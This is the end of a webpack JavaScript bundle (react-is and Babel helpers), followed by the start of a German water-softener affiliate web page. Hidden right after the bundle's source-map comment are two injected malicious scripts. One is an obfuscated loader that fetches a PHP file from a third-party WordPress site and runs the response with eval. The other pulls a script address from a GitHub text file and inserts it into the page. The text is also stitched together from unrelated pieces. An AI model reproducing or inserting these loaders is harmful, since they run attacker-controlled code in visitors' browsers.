  return typeOf(object) === REACT_CONTEXT_TYPE;
}
function isContextProvider(object) {
  return typeOf(object) === REACT_PROVIDER_TYPE;
}
function isElement(object) {
  return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
}
function isForwardRef(object) {
  return typeOf(object) === REACT_FORWARD_REF_TYPE;
}
function isFragment(object) {
  return typeOf(object) === REACT_FRAGMENT_TYPE;
}
function isLazy(object) {
  return typeOf(object) === REACT_LAZY_TYPE;
}
function isMemo(object) {
  return typeOf(object) === REACT_MEMO_TYPE;
}
function isPortal(object) {
  return typeOf(object) === REACT_PORTAL_TYPE;
}
function isProfiler(object) {
  return typeOf(object) === REACT_PROFILER_TYPE;
}
function isStrictMode(object) {
  return typeOf(object) === REACT_STRICT_MODE_TYPE;
}
function isSuspense(object) {
  return typeOf(object) === REACT_SUSPENSE_TYPE;
}

exports.AsyncMode = AsyncMode;
exports.ConcurrentMode = ConcurrentMode;
exports.ContextConsumer = ContextConsumer;
exports.ContextProvider = ContextProvider;
exports.Element = Element;
exports.ForwardRef = ForwardRef;
exports.Fragment = Fragment;
exports.Lazy = Lazy;
exports.Memo = Memo;
exports.Portal = Portal;
exports.Profiler = Profiler;
exports.StrictMode = StrictMode;
exports.Suspense = Suspense;
exports.isAsyncMode = isAsyncMode;
exports.isConcurrentMode = isConcurrentMode;
exports.isContextConsumer = isContextConsumer;
exports.isContextProvider = isContextProvider;
exports.isElement = isElement;
exports.isForwardRef = isForwardRef;
exports.isFragment = isFragment;
exports.isLazy = isLazy;
exports.isMemo = isMemo;
exports.isPortal = isPortal;
exports.isProfiler = isProfiler;
exports.isStrictMode = isStrictMode;
exports.isSuspense = isSuspense;
exports.isValidElementType = isValidElementType;
exports.typeOf = typeOf;
  })();
}


/***/ }),

/***/ "../node_modules/prop-types/node_modules/react-is/index.js":
/*!*****************************************************************!*\
  !*** ../node_modules/prop-types/node_modules/react-is/index.js ***!
  \*****************************************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

"use strict";


if (false) {} else {
  module.exports = __webpack_require__(/*! ./cjs/react-is.development.js */ "../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js");
}


/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js":
/*!******************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/arrayLikeToArray.js ***!
  \******************************************************************/
/***/ ((module) => {

function _arrayLikeToArray(arr, len) {
  if (len == null || len > arr.length) len = arr.length;
  for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i];
  return arr2;
}
module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js":
/*!****************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/arrayWithHoles.js ***!
  \****************************************************************/
/***/ ((module) => {

function _arrayWithHoles(arr) {
  if (Array.isArray(arr)) return arr;
}
module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js":
/*!**********************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js ***!
  \**********************************************************************/
/***/ ((module) => {

function _iterableToArrayLimit(arr, i) {
  var _i = null == arr ? null : "undefined" != typeof Symbol && arr[Symbol.iterator] || arr["@@iterator"];
  if (null != _i) {
    var _s,
      _e,
      _x,
      _r,
      _arr = [],
      _n = !0,
      _d = !1;
    try {
      if (_x = (_i = _i.call(arr)).next, 0 === i) {
        if (Object(_i) !== _i) return;
        _n = !1;
      } else for (; !(_n = (_s = _x.call(_i)).done) && (_arr.push(_s.value), _arr.length !== i); _n = !0);
    } catch (err) {
      _d = !0, _e = err;
    } finally {
      try {
        if (!_n && null != _i["return"] && (_r = _i["return"](), Object(_r) !== _r)) return;
      } finally {
        if (_d) throw _e;
      }
    }
    return _arr;
  }
}
module.exports = _iterableToArrayLimit, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/nonIterableRest.js":
/*!*****************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/nonIterableRest.js ***!
  \*****************************************************************/
/***/ ((module) => {

function _nonIterableRest() {
  throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
}
module.exports = _nonIterableRest, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/slicedToArray.js":
/*!***************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/slicedToArray.js ***!
  \***************************************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

var arrayWithHoles = __webpack_require__(/*! ./arrayWithHoles.js */ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js");
var iterableToArrayLimit = __webpack_require__(/*! ./iterableToArrayLimit.js */ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js");
var unsupportedIterableToArray = __webpack_require__(/*! ./unsupportedIterableToArray.js */ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js");
var nonIterableRest = __webpack_require__(/*! ./nonIterableRest.js */ "../node_modules/@babel/runtime/helpers/nonIterableRest.js");
function _slicedToArray(arr, i) {
  return arrayWithHoles(arr) || iterableToArrayLimit(arr, i) || unsupportedIterableToArray(arr, i) || nonIterableRest();
}
module.exports = _slicedToArray, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ }),

/***/ "../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js":
/*!****************************************************************************!*\
  !*** ../node_modules/@babel/runtime/helpers/unsupportedIterableToArray.js ***!
  \****************************************************************************/
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

var arrayLikeToArray = __webpack_require__(/*! ./arrayLikeToArray.js */ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js");
function _unsupportedIterableToArray(o, minLen) {
  if (!o) return;
  if (typeof o === "string") return arrayLikeToArray(o, minLen);
  var n = Object.prototype.toString.call(o).slice(8, -1);
  if (n === "Object" && o.constructor) n = o.constructor.name;
  if (n === "Map" || n === "Set") return Array.from(o);
  if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return arrayLikeToArray(o, minLen);
}
module.exports = _unsupportedIterableToArray, module.exports.__esModule = true, module.exports["default"] = module.exports;

/***/ })

}]);
//# sourceMappingURL=6ed74dd3befaff90b65c.bundle.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//smazimoddin.com/blog/wp-content/plugins/bunyad-amp/back-compat/templates-v0-3/templates-v0-3.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<!DOCTYPE html>
<html lang="de" id="arve">
<head>
<meta charset="utf-8">
<meta name="viewport"
	content="width=device-width, initial-scale=1.0, user-scalable=no" />
<link media="screen" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/cache/autoptimize/css/autoptimize_275a997a3299ac903f19f9fe6d72bdc9.css" rel="stylesheet"><link media="all" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/cache/autoptimize/css/autoptimize_ea0e42d8293995d91ccb3b5a6e047db9.css" rel="stylesheet"><title>Kaufratgeber - Dinge die vor dem Kauf einer Wasserenthärtungsanlage...</title>

<link rel="pingback" href="https://wasserenthaertungsanlagen-ratgeber.de/xmlrpc.php" />






<link rel="stylesheet"
	href="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/themes/affiliatetheme/_/css/custom.php">
	      

<link rel="alternate" type="application/rss+xml" title="RSS 2.0 feed"
	href="https://wasserenthaertungsanlagen-ratgeber.de/feed/" />
<link rel="alternate" type="application/rss+xml" title="Produkt Feed"
	href="https://wasserenthaertungsanlagen-ratgeber.de/feed/?post_type=produkt/" />
                    <link rel="shortcut icon"
	href="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/logo197x183_transpa.png"
	type="image/x-icon" />
<link rel="shortcut icon"
	href="https://wasserenthaertungsanlagen-ratgeber.de/wp-content/themes/affiliatetheme/favicon.ico"
	type="image/x-icon" />
                
	<!-- This site is optimized with the Yoast SEO plugin v14.8.1 - https://yoast.com/wordpress/plugins/seo/ -->
	<meta name="description" content="Wasserenthärtungsanlage kaufen✓ How to do✓ FAQ✓ Ausführlicher Ratgeber✓ Tipps &amp; Tricks✓ So geht&#039;s richtig✓ Wissenswertes✓ Enthärtungsanlage✓ Weichwasseranlage✓ Entkalkungsanlage✓ Wasserentkalkungsanlage✓ Wasserenthärter✓" />
	<meta name="robots" content="index, follow" />
	<meta name="googlebot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
	<meta name="bingbot" content="index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1" />
	<link rel="canonical" href="https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/" />
	<meta property="og:locale" content="de_DE" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="Kaufratgeber - Dinge die vor dem Kauf einer Wasserenthärtungsanlage..." />
	<meta property="og:description" content="Wasserenthärtungsanlage kaufen✓ How to do✓ FAQ✓ Ausführlicher Ratgeber✓ Tipps &amp; Tricks✓ So geht&#039;s richtig✓ Wissenswertes✓ Enthärtungsanlage✓ Weichwasseranlage✓ Entkalkungsanlage✓ Wasserentkalkungsanlage✓ Wasserenthärter✓" />
	<meta property="og:url" content="https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/" />
	<meta property="article:modified_time" content="2019-06-17T11:27:56+00:00" />
	<meta name="twitter:card" content="summary" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://wasserenthaertungsanlagen-ratgeber.de/#website","url":"https://wasserenthaertungsanlagen-ratgeber.de/","name":"","description":"","potentialAction":[{"@type":"SearchAction","target":"https://wasserenthaertungsanlagen-ratgeber.de/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"de"},{"@type":"WebPage","@id":"https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/#webpage","url":"https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/","name":"Kaufratgeber - Dinge die vor dem Kauf einer Wasserenth\u00e4rtungsanlage...","isPartOf":{"@id":"https://wasserenthaertungsanlagen-ratgeber.de/#website"},"datePublished":"2018-01-15T15:53:24+00:00","dateModified":"2019-06-17T11:27:56+00:00","description":"Wasserenth\u00e4rtungsanlage kaufen\u2713 How to do\u2713 FAQ\u2713 Ausf\u00fchrlicher Ratgeber\u2713 Tipps & Tricks\u2713 So geht's richtig\u2713 Wissenswertes\u2713 Enth\u00e4rtungsanlage\u2713 Weichwasseranlage\u2713 Entkalkungsanlage\u2713 Wasserentkalkungsanlage\u2713 Wasserenth\u00e4rter\u2713","inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/"]}]}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel="alternate" type="application/rss+xml" title=" &raquo; Feed" href="https://wasserenthaertungsanlagen-ratgeber.de/feed/" />
<link rel="alternate" type="application/rss+xml" title=" &raquo; Kommentar-Feed" href="https://wasserenthaertungsanlagen-ratgeber.de/comments/feed/" />
<!-- This site uses the Google Analytics by ExactMetrics plugin v6.2.2 - Using Analytics tracking - https://www.exactmetrics.com/ -->
<script type="text/javascript" data-cfasync="false">
	var em_version         = '6.2.2';
	var em_track_user      = true;
	var em_no_track_reason = '';
	
	var disableStr = 'ga-disable-UA-79141432-2';

	/* Function to detect opted out users */
	function __gaTrackerIsOptedOut() {
		return document.cookie.indexOf(disableStr + '=true') > -1;
	}

	/* Disable tracking if the opt-out cookie exists. */
	if ( __gaTrackerIsOptedOut() ) {
		window[disableStr] = true;
	}

	/* Opt-out function */
	function __gaTrackerOptout() {
	  document.cookie = disableStr + '=true; expires=Thu, 31 Dec 2099 23:59:59 UTC; path=/';
	  window[disableStr] = true;
	}

	if ( 'undefined' === typeof gaOptout ) {
		function gaOptout() {
			__gaTrackerOptout();
		}
	}
	
	if ( em_track_user ) {
		(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
			(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
			m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
		})(window,document,'script','//www.google-analytics.com/analytics.js','__gaTracker');

window.ga = __gaTracker;		__gaTracker('create', 'UA-79141432-2', 'auto');
		__gaTracker('set', 'forceSSL', true);
		__gaTracker('set', 'anonymizeIp', true);
		__gaTracker('send','pageview');
		__gaTracker( function() { window.ga = __gaTracker; } );
	} else {
		console.log( "" );
		(function() {
			/* https://developers.google.com/analytics/devguides/collection/analyticsjs/ */
			var noopfn = function() {
				return null;
			};
			var noopnullfn = function() {
				return null;
			};
			var Tracker = function() {
				return null;
			};
			var p = Tracker.prototype;
			p.get = noopfn;
			p.set = noopfn;
			p.send = noopfn;
			var __gaTracker = function() {
				var len = arguments.length;
				if ( len === 0 ) {
					return;
				}
				var f = arguments[len-1];
				if ( typeof f !== 'object' || f === null || typeof f.hitCallback !== 'function' ) {
					console.log( 'Not running function __gaTracker(' + arguments[0] + " ....) because you are not being tracked. " + em_no_track_reason );
					return;
				}
				try {
					f.hitCallback();
				} catch (ex) {

				}
			};
			__gaTracker.create = function() {
				return new Tracker();
			};
			__gaTracker.getByName = noopnullfn;
			__gaTracker.getAll = function() {
				return [];
			};
			__gaTracker.remove = noopfn;
			window['__gaTracker'] = __gaTracker;
			window.ga = __gaTracker;		})();
		}
</script>
<!-- / Google Analytics by ExactMetrics -->




<link rel='stylesheet' id='uaf_client_css-css'  href='https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/useanyfont/uaf.css?ver=1598468017' type='text/css' media='all' />


<script type='text/javascript' id='exactmetrics-frontend-script-js-extra'>
/* <![CDATA[ */
var exactmetrics_frontend = {"js_events_tracking":"true","download_extensions":"zip,mp3,mpeg,pdf,docx,pptx,xlsx,rar","inbound_paths":"[{\"path\":\"\\\/go\\\/\",\"label\":\"affiliate\"},{\"path\":\"\\\/recommend\\\/\",\"label\":\"affiliate\"}]","home_url":"https:\/\/wasserenthaertungsanlagen-ratgeber.de","hash_tracking":"false"};
/* ]]> */
</script>

<script type='text/javascript' id='cookie-notice-front-js-extra'>
/* <![CDATA[ */
var cnArgs = {"ajaxUrl":"https:\/\/wasserenthaertungsanlagen-ratgeber.de\/wp-admin\/admin-ajax.php","nonce":"4a29c93628","hideEffect":"fade","position":"bottom","onScroll":"1","onScrollOffset":"500","onClick":"0","cookieName":"cookie_notice_accepted","cookieTime":"2592000","cookieTimeRejected":"2592000","cookiePath":"\/","cookieDomain":"","redirection":"0","cache":"0","refuse":"0","revokeCookies":"0","revokeCookiesOpt":"automatic","secure":"1","coronabarActive":"0"};
/* ]]> */
</script>


<link rel="https://api.w.org/" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-json/" /><link rel="alternate" type="application/json" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-json/wp/v2/pages/458" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://wasserenthaertungsanlagen-ratgeber.de/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-includes/wlwmanifest.xml" /> 
<meta name="generator" content="WordPress 5.5.15" />
<link rel='shortlink' href='https://wasserenthaertungsanlagen-ratgeber.de/?p=458' />
<link rel="alternate" type="application/json+oembed" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwasserenthaertungsanlagen-ratgeber.de%2Fkaufratgeber-fuer-wasserenthaertungsanlagen%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://wasserenthaertungsanlagen-ratgeber.de/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwasserenthaertungsanlagen-ratgeber.de%2Fkaufratgeber-fuer-wasserenthaertungsanlagen%2F&#038;format=xml" />
<script type="text/javascript">var ajaxurl = "https://wasserenthaertungsanlagen-ratgeber.de/wp-admin/admin-ajax.php"</script>                 
        
        
        
        
                
<!--[if lt IE 9]>
        <script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
        <script src="http://cdnjs.cloudflare.com/ajax/libs/respond.js/1.1.0/respond.min.js"></script>
        <![endif]-->

<script type="text/javascript">
function getPriceComparisonData(blogUrl, postId, targetContainer, wrapperTag){
	$.ajax({
        type: "GET",
        data: {
            post_id: postId
        },
        dataType: "html",
        url: blogUrl + '/wp-content/themes/affiliatetheme/getProductPriceComparison.php',
        success: function (data) {
            var container = $('#'+targetContainer);
            container.fadeOut(function () {
                if(wrapperHtml =!""){
                    data = '<'+wrapperTag+'>'+data+'</'+wrapperTag+'>';
                }                
                container.html(data);
                container.fadeIn();
            });
        }
    });
}
</script>
</head>
<body class="page-template page-template-template-sidebar_rechts page-template-template-sidebar_rechts-php page page-id-458 cookies-not-set">

                    <span id="mouseover_product_pics"></span>
             
            <div
						id="wrapper" >
			<header
				class="full-size custom-container"
				id="header">
                                                <div class="col5 logo">
                                                            <a href="https://wasserenthaertungsanlagen-ratgeber.de"
							title="zur Startseite" class="brand"> <noscript><img
							src='https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/logo197x183_transpa.png'
							alt=''></noscript><img class="lazyload" 
						 src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src='https://wasserenthaertungsanlagen-ratgeber.de/wp-content/uploads/2018/01/logo197x183_transpa.png'
							alt=''>
						</a>
                                                    </div>

					<div class="col7">
						<div class="ad">
                                                                                                                                 </div>
						<div id="search-header">
                                                            </div>
					</div>
					<div class="clearfix"></div>
                                        </header>
                                    <nav class=" custom-container full-size"
				id="navigation">
				<div class="navbar navbar-default"
					data-menu="">
                                                            <button
							class="navbar-toggle custom-navbar-toggle"
							data-target=".bs-navbar-collapse" data-toggle="collapse"
							type="button">
							<span class="sr-only">Toggle navigation</span> <span
								class="pull-left custom-toggle"> <span class="icon-bar"></span>
								<span class="icon-bar"></span> <span class="icon-bar"></span>
							</span> <span class="pull-right"> <span class="pull-left">Navigation
							</span> &nbsp;<i class="fa fa-angle-down"></i>
							</span> <span class="clearfix"></span>
						</button>
						<div class="navbar-menu-wrapper">
                                <ul id="menu-versuch" class="nav navbar-nav collapse navbar-collapse bs-navbar-collapse"><li id="menu-item-254" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home"><a href="https://wasserenthaertungsanlagen-ratgeber.de/" class="dropdown-toggle ">Wasserenthärtungsanlagen Vergleich</a><div class="clearfix"></div></li>
<li id="menu-item-463" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-458 current_page_item"><a href="https://wasserenthaertungsanlagen-ratgeber.de/kaufratgeber-fuer-wasserenthaertungsanlagen/" class="dropdown-toggle ">Kaufratgeber</a><div class="clearfix"></div></li>
<li id="menu-item-386" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children"><a class="dropdown-toggle ">Ratgeberartikel <i class="fa fa-angle-down"></i></a> <span class="menu-caret" data-toggle="dropdown" aria-expanded="false"><i class="fa fa-plus"></i></span><div class="clearfix"></div>
<ul class="dropdown-menu no-mega-menu">
	<li id="menu-item-453" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/welches-salz-kann-verwendet-werden/" class="dropdown-toggle ">Welches Salz kann verwendet werden?</a><div class="clearfix"></div></li>
	<li id="menu-item-452" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/die-kosten-und-preise-fuer-eine-wasserenthaertungsanlage/" class="dropdown-toggle ">Die Kosten und Preise für eine Wasserenthärtungsanlage</a><div class="clearfix"></div></li>
	<li id="menu-item-393" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/wie-kann-man-den-kalkgehalt-im-wasser-messen/" class="dropdown-toggle ">Wie kann man den Kalkgehalt im Wasser messen?</a><div class="clearfix"></div></li>
	<li id="menu-item-398" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/hauswasserleitung-entkalken/" class="dropdown-toggle ">Hauswasserleitung entkalken</a><div class="clearfix"></div></li>
	<li id="menu-item-406" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/tipps-fuer-die-installation-einer-enthaertungsanlage/" class="dropdown-toggle ">Tipps für die Installation einer Enthärtungsanlage</a><div class="clearfix"></div></li>
	<li id="menu-item-412" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/ist-kalkhaltiges-wasser-fuer-den-koerper-gefaehrlich/" class="dropdown-toggle ">Ist kalkhaltiges Wasser für den Körper gefährlich?</a><div class="clearfix"></div></li>
	<li id="menu-item-418" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/haushaltsgeraete-entkalken-so-gehts/" class="dropdown-toggle ">Haushaltsgeräte entkalken – so gehts!</a><div class="clearfix"></div></li>
	<li id="menu-item-423" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/hauswasserfilter/" class="dropdown-toggle ">Hauswasserfilter</a><div class="clearfix"></div></li>
	<li id="menu-item-441" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/wasserfilter-welche-gefahren-bergen-sie/" class="dropdown-toggle ">Wasserfilter – welche Gefahren bergen sie?</a><div class="clearfix"></div></li>
	<li id="menu-item-444" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/desinfektion-einer-wasserenthaertungsanlage/" class="dropdown-toggle ">Desinfektion einer Wasserenthärtungsanlage</a><div class="clearfix"></div></li>
	<li id="menu-item-457" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/die-verschiedenen-typen-von-wasserenthaertungsanlagen/" class="dropdown-toggle ">Die verschiedenen Typen von Wasserenthärtungsanlagen</a><div class="clearfix"></div></li>
	<li id="menu-item-757" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/die-grossen-hersteller/" class="dropdown-toggle ">Die großen Hersteller</a><div class="clearfix"></div></li>
	<li id="menu-item-467" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/fakten-ueber-unser-trinkwasser/" class="dropdown-toggle ">Fakten über unser Trinkwasser</a><div class="clearfix"></div></li>
</ul>
</li>
<li id="menu-item-387" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children"><a class="dropdown-toggle ">Zubehör <i class="fa fa-angle-down"></i></a> <span class="menu-caret" data-toggle="dropdown" aria-expanded="false"><i class="fa fa-plus"></i></span><div class="clearfix"></div>
<ul class="dropdown-menu no-mega-menu">
	<li id="menu-item-680" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/wasserhaerte-teststreifen/" class="dropdown-toggle ">Wasserhärte Teststreifen</a><div class="clearfix"></div></li>
	<li id="menu-item-681" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/wasserhaerte-testset-titrationsverfahren/" class="dropdown-toggle ">Wasserhärte Testset Titrationsverfahren</a><div class="clearfix"></div></li>
	<li id="menu-item-682" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/digitales-wasserhaertemessgeraet/" class="dropdown-toggle ">Digitales Wasserhärtemessgerät</a><div class="clearfix"></div></li>
	<li id="menu-item-684" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/entkalker/" class="dropdown-toggle ">Entkalker</a><div class="clearfix"></div></li>
	<li id="menu-item-685" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/kationenaustauscherharz/" class="dropdown-toggle ">Kationenaustauscherharz</a><div class="clearfix"></div></li>
	<li id="menu-item-686" class="menu-item menu-item-type-post_type menu-item-object-page dropdown-mega-menu"><a href="https://wasserenthaertungsanlagen-ratgeber.de/regeneriersalz/" class="dropdown-toggle ">Regeneriersalz</a><div class="clearfix"></div></li>
